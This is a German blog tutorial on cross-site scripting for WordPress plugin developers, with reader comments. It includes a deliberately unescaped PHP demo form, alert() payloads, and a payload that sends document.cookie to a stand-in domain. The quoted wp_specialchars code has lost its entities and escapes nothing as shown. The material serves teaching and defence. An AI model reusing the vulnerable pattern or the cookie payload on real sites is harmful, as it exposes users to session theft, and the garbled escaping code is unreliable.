Cross Site Scripting (XSS)

Das Internet ist nicht mehr nur Webseite und Bilder für andere. Mittlerweile werden hinreichend wichtige Anwendungen im Web geführt. Genauso wird es immer einfacher eine eigene Seite ohne großartiges Hintergrundwissen zu pflegen oder gar einzurichten. Auch WordPress liefert dazu einen großen Beitrag. noch vor einigen Jahren war das einrichten und pflegen eines CMS für den Laien undenkbar. Gleiches gilt für die Pluginschnittstelle von WordPress, die die Erweiterung sehr einfach und mächtig gestaltet. Allerdings können Plugins auch Türen und Toren des Systems öffnen, dazu muss kein Fehler im Core-System vorliegen.

Die Zeiten ändern sich.

Dieser Beitrag scheint älter als 10 Jahre zu sein – eine lange Zeit im Internet. Der Inhalt ist vielleicht veraltet.

Das Internet ist nicht mehr nur Webseite und Bilder für andere. Mittlerweile werden hinreichend wichtige Anwendungen im Web geführt. Genauso wird es immer einfacher eine eigene Seite ohne großartiges Hintergrundwissen zu pflegen oder gar einzurichten. Auch WordPress liefert dazu einen großen Beitrag. noch vor einigen Jahren war das einrichten und pflegen eines CMS für den Laien undenkbar. Gleiches gilt für die Pluginschnittstelle von WordPress, die die Erweiterung sehr einfach und mächtig gestaltet. Allerdings können Plugins auch Türen und Toren des Systems öffnen, dazu muss kein Fehler im Core-System vorliegen.

Leider kommen mit zunehmenden Webanwendungen auch immer mehr Sorgen zum Thema Sicherheit. Eines der aktuellsten und größten Probleme von Webanwendungen ist das Thema Cross Site Scripting, kurz XSS. Das Thema kann und darf nicht unbeachtet bleiben! Leider ist XSS kein kleines Problem von Hobbycodern und „Homepagebastlern“. Immer wieder liest man über Probleme aus diesem Bereich bei großen und wichtigen Anwendungen von Konzernen und Webseiten, bei denen man eventuell eine ganze Reihe von persönlichen Daten speichert.

Vor geraumer Zeit war ein Plugin, welches ich eine wenig verändert und erweitert habe, betroffen und ich bin dankbar, dass solche Fehler aufgezeigt werde - so werden auch „Hobbyplugins“ besser und sicher. Dies war auch der Grund, warum ich mich näher mit dem Thema XSS auseinander gesetzt habe. Ganz besonders im Bezug auf WordPress.
Dieser Artikel soll dem Interessierten einen Einblick in das Thema XSS geben und gleichzeitig an Hand von Beispielen zeigen, wie man XSS nutzt, welche Arten es gibt und wie man dagegen angehen kann. In einem kleinen Unterpunkt werde ich auch kurz die Möglichkeiten innerhalb von WordPress aufzeigen, mit denen man die eigene Installation oder ein Plugin sicherer macht.

Cross Site Scripting (XSS)

Die größte Gefahr von XSS besteht in seiner Einfachheit - lediglich ein Browser ist notwendig, um ein Angriffsmuster zu stricken und die betroffene Webanwendung zu injizieren.

XSS ist grundlegend die Manipulation von Benutzereingaben, die an eine Webanwendung übergeben wird.

Durch das Ausnutzen von Sicherheitslücken kann ein User Programmcode in die Umgebung einbringen und damit eventuell schaden anrichten. Ebenso könnte man damit die Kontrolle über die Webanwendung erreichen wollen. In der Regel liegt immer das gleiche Ziel vor - das Auslesen von Benutzerdaten.

Arten von XSS

Es gibt eine ganze Anzahl von Möglichkeiten schadhaften Code in die Anwendung zu injizieren. Derzeit wird XSS nicht explizit definiert, demzufolge gibt es auch verschiedene Ansichten zum Umfang von Arten des XSS.
In der Regel betrachtet man Code, der auf der Clientseite indiziert wird. Es gibt aber auch Möglichkeiten und Scenarios den Server zu beeinflussen, zum Beispiel in der Datenbank.
Wer sich mit allen Arten auseinander setzen will, dem sei die XSS-Datenbank empfohlen. Nur die schon dort möglichen Klick-Scenarios zeigen die Möglichkeiten, die in Webanwendungen bestehen.

XSS ein wenig tiefer

XSS fällt immer im Zusammenhang mit Webanwendungen. Diese zeichnen sich oft durch das Nutzen von dynamischen Inhalten aus. Erzeigt werden sie oft mit PHP, ASP oder Perl. Wobei der Einsatz von Frameworks auch hier weiterhin im Aufwind ist. Bei vielen Anwendungen werden relevante Daten, Benutzereingaben, mit Hilfe von GET-Parametern in der URL übergeben. Werden diese Inhalte ohne Prüfung im weiteren Verlauf der Anwendung genutzt, so besteht die Möglichkeit den Code in diese Anwendung zu injizieren. Das Einschleusen von böswilligen Code kann prinzipiell in jeder Sprache erfolgen, typisch ist jedoch JavaScript.

XSS selbst gemacht

Genug nun der Vorrede - kommen wir nun zu einem simplen Beispiel. Mittels einer kleinen Anwendung, die mit wenigen PHP-Kenntnissen zu verstehen ist, wollen wir JavaScript in die Seite injizieren. Damit das Beispiel auch problemlos funktioniert, muss der Server so konfiguriert sein, dass XSS möglich ist. Einige Server filtern im Standard nach XSS-Angriffen.

Der folgende Code muss lediglich als php-Datei gespeichert und mittels FTP auf den Server gespielt werden. Im folgenden ist lediglich das Script im Browser aufzurufen. Vorerst ist nur ein einfaches Formular zu sehen, vorerst nichts ungewöhnliches.


<?php
// XSS selber machen

setcookie("xss", "Testeintrag: XSS selber machen");

$text = $_GET['text'];
$title = $_GET['title'];

if (!$text && !$title) {
	echo '
	<html>
	<head>
	<title>XSS Test</title>
	</head>
	<body>
	<form action="xsstest.php">
	<input type="text" name="title" value="Betreff"/ >
	<br />
	<textarea name="text" rows="10" cols="40" ><script>alert("vulnerable");</script></textarea><br />
	<input type="submit" name"send" value="Senden" />
	</form>
	</body>
	</html>';
}

if ($text || $title) {
	echo '
	<html>
	<head>
	<title>XSS Test - Ausgabe</title>
	</head>
	<body>
	<h1>Die Mitteilung</h1>
	Title: ' . $title . '<br />
	Text: ' . $text . '
	</body>
	</html>';
}

echo '<p>*varAusgabe gesichert' . '<br />';
echo 'varText: ' . stripslashes(htmlspecialchars($text)) . '<br />';
echo 'varTilte: ' . stripslashes(htmlspecialchars($title)) . '</p>';
?>

Nachdem das Formular abgesandt wurde, ist ein Messagefenster in Vordergrund zu sehen. Dieses wurde mittels des Inhaltes in Textbox ausgeführt. Im Code habe ich den simplen JS-Code schon hinterlegt. Die Eingabe kann natürlich sehr vielfältig sein. Die meisten Formulare, Gästebücher und Foren nutzen diese Form, nur umfangreicher. Die Vorgehensweise ist jedoch immer die gleiche.

Warum war es so einfach?

Schauen wir uns den Code an, in den ersten Zeilen wird der Inhalt der GET-Parameter direkt in die Anwendung integriert.


$text = $_GET['text'];
$title = $_GET['title'];

Mit Hilfe von echo wird der Inhalt der Variablen ausgeben. In diesem Script kann nicht viel mit dieser Ausgabe erfolgen. Stellen wir uns aber vor, dass die Daten in eine Datenbank geschrieben werden und spezifisch zu einem Nutzer ausgelesen werden, dann kann man damit schon den Anwender entsprechen einfach manipulieren und beispielsweise schnell um seine Login-Daten bringen.

Die Eingabe des Users wird also direkt in die HTML-Ausgabe injiziert. In Beispielfall wird JavaScript indiziert. Ein Browser führt dieses Anweisung aus, er interpretiert sie. Er kann nicht wissen, woher der Code kommt und warum er interpretiert werden soll.

Will man nun noch weiter gehen, so kommt der ersten Zeile setcookie("xss", "Testeintrag: XSS selber machen"); eine große Bedeutung hinzu. In der Regel speichern Anwendungen eine ganze Reihe von Daten in Cookies.

Rufen wir nun also nochmal das Script auf und ändern den Inhalt der Textbox lediglich auf folgende kleine JS-Anweisung.


<script>alert(document.cookie);</script>

Nach dem Absenden des Formulars wird sich ein ähnliches Messagefenster öffnen, lediglich der Inhalt des Fensters ist umfangreicher. Es wurden die Daten des Cookie ausgelesen und in den Code injizieren.

XSS mit Cookie

Mit Hilfe dieser kleinen Beispiele kann man noch nicht sonderlich viel anrichten, es ärgert maximal den User. Aber man könnte beispielsweise durch das Auslesen des Cookie den Anwender auf eine andere Webseite bringen und dort die Inhalte des Cookies übergeben.


<script>document.location="http://domain.de/"+document.cookie</script>

Dort sind die Daten schnell in eine Datenbank geschrieben. Mit dieser Lösung kann man einfach und schnell empfindliche Inhalte stehlen - ein viel genutzter Weg. Stellen wir uns vor, dass die Webseite, auf die man weiterleitet, auch noch das gleiche Design hat, so kann man sicher schnell verstehen, wie potenzielle User an Logindaten u.ä. kommen.

Nun haben wir einen sehr kleinen Einblick, der aber sicher auch für technisch interessierte Leser schnell nachzuvollziehen ist, von möglichen Lücken. Es gibt eine ganze Reihe weiterer Möglichkeiten, die hier aber nicht weiter erläutert werden sollen. Im Anschluss an dieses Artikel gibt es eine Reihe von Linktipps, die mir beim Lernen und verstehen geholfen haben. Wer also mehr zum Thema XSS wissen möchte, der sollte sich dort umsehen.

XSS filtern

Wie kann man nun aber mögliche Lücken ausschließen - wie mache ich meine kleine Anwendung sicherer. Einige kleine und einfache Möglichkeiten sollen nun zur Sprache kommen und aufzeigen, dass es nicht viel Aufwand bedarf, die PHP-Anwendung ein wenig sicherer zu machen. PHP bietet eine ganze Reihe von Funktionen um das Injizieren von fremden Code zu erschweren.

Generell sollte man jede Benutzereingabe überprüfen, somit entsteht ein System von Schutzmaßnahmen. Dabei sollten nicht nur GET- und POST-Variablen überprüft werden, sondern auch Cookie-Werte. Dabei müssen die Werte in einem Bereich liegen, alle anderen Werte werden gefiltert - positives Sicherheitskonzept.

Sonderzeichen, die der Browser interpretiert (< und >), müssen in Entities konvertiert werden. Dafür stehen innerhalb PHP Funktionen zur Verfügung.


htmlspecialchars()

htmlentities()

strip_tags()

urlencode()

Nähere Beschreibung der Funktionen sind in der PHP-Doku zu finden.

Funktion von WordPress

Auch WordPress stellt von Haus aus, neben den genannten PHP-Möglichkeiten, einige Hilfe für das Erstellen sicherer Plugins zur Verfügung, die man über die PHP-Standard-Funktionen hinaus nutzen kann. Die wichtigste und unkomplizierteste Funktion für die eigene Verwendung ist die erstgenannte attribute_escape(). Diese wirkt im Zusammenhang mit der Funktion wp_specialchars()


function attribute_escape($text) {
	$safe_text = wp_specialchars($text, true);
	return apply_filters('attribute_escape', $safe_text, $text);
}

function wp_specialchars( $text, $quotes = 0 ) {
	// Like htmlspecialchars except don't double-encode HTML entities
	$text = str_replace('&&', '&&', $text);
	$text = str_replace('&&', '&&', $text);
	$text = preg_replace('/&(?:$|([^#])(?![a-z1-4]{1,8};))/', '&$1', $text);
	$text = str_replace('<', '<', $text);
	$text = str_replace('>', '>', $text);
	if ( 'double' === $quotes ) {
		$text = str_replace('"', '"', $text);
	} elseif ( 'single' === $quotes ) {
		$text = str_replace("'", ''', $text);
	} elseif ( $quotes ) {
		$text = str_replace('"', '"', $text);
		$text = str_replace("'", ''', $text);
	}
	return $text;
}

Weiterführende Links

13 Kommentare

  1. Stimmt, passend. Danke, ich freue mich, dass ich gelesen werde. Ist ein schöne Gefühlt. leider ist der Zeitfahrplan in letzter Zeit etwas enger und so komme ich nur selten dazu. Zum Thema XSS musste ich dazu lernen, das hat gedauert. Deshalb ist auch der Artikel entstanden - denke, wenn es mehr verstehen, dann ist das Verständnis für Fehler in Plugins größer und die Vorsicht vor Plugins ebenso. Ich will damit den Leuten keine Angst machen, aber wer kann schon von sich behaupten, dass sein Code sicher ist - geschweige denn bei Hobbyplugins.

  2. Das ist aber schade. Jedem Nutzer sollte dieses Problem bewusst sein! Durch die Öffentlichkeit kann man aber auch das Plugin verbessern, man stellt sich dem öffentlichen Auge.

  3. Ja, das Problem ist mir bewußt. Eben darum. Auch bei noch so großer Sorgfalt kann immer mal etwas passieren. Dieser Verantwortung möchte ich mich im Augenblick nicht stellen.

  4. Danke für diesen Artikel. Ich denke, viele Hobby-Programmierer (und anscheinend auch die eine oder andere Bank!) konnten mit dem Begriff XSS vorher nicht einmal was anfangen. Und das, wo dieses Thema immer wichtiger wird.
    Übrigens: Du schreibst in der ersten Hälfte immer was von Code implizieren. Ich vermute, dass Du injizieren meinstest (was Du auch später schreibst) und evtl. mit dem Wort implementieren vermengt hast. (Sollte ich falsch liegen, einfach ignorieren *g*)

  5. Herzlichen Dank.
    Fehler sind berichtigt; ich sollte mir mal ein Admin-Theme schreiben, welches mir den Fort im Editor klar und groß darstellt, vielleicht klappt es dann besser. 😉

  6. Ich muss ehrlich gestehen, dass ich mich mit dem Thema XSS auch erst so richtig auseinandergesetzt hatte, als die Sache mit dem WP XSS Wurm angesprochen wurde. Habe auch entsprechende Plugins bei mir auf den Blogs implementiert...dieser Artikel hier gibt einen guten Einblick in die Thematik. Ein Blick zu Wikipedia lohnt auch noch...dort findet man noch ein paar Links die sich intensiver mit dem Thema befassen.

Kommentare sind geschlossen.